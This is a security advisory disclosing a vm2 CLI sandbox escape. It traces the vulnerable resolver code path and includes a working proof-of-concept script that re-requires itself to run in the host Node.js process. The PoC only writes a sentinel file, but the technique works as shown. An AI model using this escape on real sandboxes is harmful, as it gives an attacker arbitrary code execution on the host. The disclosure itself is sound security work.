GHSA-jxxv-8r27-vm4p

### Summary The `vm2` command-line tool installed by `npm install -g vm2` and documented in the README's "CLI" section runs the supplied script under `NodeVM` with `require:{external:true}` and no `root` / `context` / `builtin` configured. With these defaults the resolver loads every relative or absolute `require()` target through the **host** `require()` function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to `vm2 ./script.js` can call `require(__filename)` to re-execute itself in host realm and reach `fs`, `child_process`, etc. The documented sandbox runner is therefore equivalent to `node ./script.js`. No additional files, flags, or user interaction are required.

### Details The vulnerability lets a **malicious sandboxed script** - the file argument to the documented `vm2 <file>` CLI - execute arbitrary code in the **host Node.js process**, crossing the sandbox → host boundary that vm2 is meant to enforce.

#### Vulnerable code path

1. **Source** - `bin/vm2:3` → `lib/cli.js:7-18`. `process.argv[2]` is the attacker-authored script path. The CLI invokes: ```js NodeVM.file(path, { verbose: true, require: { external: true } }); ``` Without `require.root`, `require.context`, nor `require.builtin`. 2. **Hop** - `lib/nodevm.js:618-636`. `NodeVM.file` reads the file and calls `new NodeVM(options).run(body, resolvedFilename)`. 3. **Hop** - `lib/nodevm.js:335` → `lib/resolver-compat.js:205-266` (`makeResolverFromLegacyOptions`). Destructures `external:true`, `rootPaths=undefined`, `hostRequire=defaultRequire` (line 218), `context='host'` (default, line 219). Because `typeof externalOpt !== 'object'` (line 265) it returns a `CustomResolver` with `checkedRootPaths=undefined` and `pathContext = () => 'host'` (line 263). 4. **Hop** - `lib/setup-node-sandbox.js:86-123` (`requireImpl`). Sandbox `require(id)` resolves via `resolver.resolve(...)` (`lib/nodevm.js:380-383`). `lib/resolver.js:244-275` handles absolute/relative specifiers; `tryFile` at `lib/resolver.js:327-329` gates on `this.isPathAllowed(x)`. 5. **Barrier (gap)** - `lib/resolver-compat.js:53-54`: ```js isPathAllowed(filename) { if (this.rootPaths === undefined) return true; ``` With no `root` configured, **every** filesystem path is allowed. `checkAccess` (`lib/resolver.js:39-42`) delegates to the same method. 6. **Sink** - `lib/resolver-compat.js:74-77`: ```js loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...); const m = this.hostRequire(filename); // ← host-realm require() mod.exports = vm.readonly(m); } ``` `hostRequire` is `defaultRequire` (`lib/resolver-compat.js:20-23`) - the real host `require()`. The required module's **top-level body executes in the host realm** before `vm.readonly()` wraps the exports; wrapping happens too late to constrain side-effects. `loadNode` (`lib/resolver-compat.js:80-83`) is identical for `.node` native addons (`process.dlopen` in host).

### PoC Save the following as `/tmp/poc.js`:

```js 'use strict'; try { // Host realm: fs is available - write sentinel and stop. const fs = require('fs'); fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\n'); console.log('HOST realm: wrote /tmp/vm2.proof'); } catch (e) { // Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file - // the CLI resolver loads it via host require() (resolver-compat.js:76). console.log('sandbox realm: fs blocked (' + e.message + '); escaping'); require(__filename); } ```

Run via the shipped CLI exactly as the README documents:

```sh node ./bin/vm2 /tmp/poc.js # or `vm2 /tmp/poc.js` after `npm i -g vm2` ```

Observed output:

``` sandbox realm: fs blocked (Cannot find module 'fs'); escaping HOST realm: wrote /tmp/vm2.proof ```

`/tmp/vm2.proof` exists, written by `fs.writeFileSync` from a script whose direct `require('fs')` was blocked by the sandbox. The first line proves the boundary exists; the second proves it was crossed.

### Impact A user who follows the README's CLI section and runs `vm2 ./untrusted.js` on an attacker-supplied file gets **arbitrary code execution as that user** - the sandbox provides no isolation in this configuration. The blast radius is the full host Node.js process: `fs`, `child_process`, `process.dlopen`, network, environment.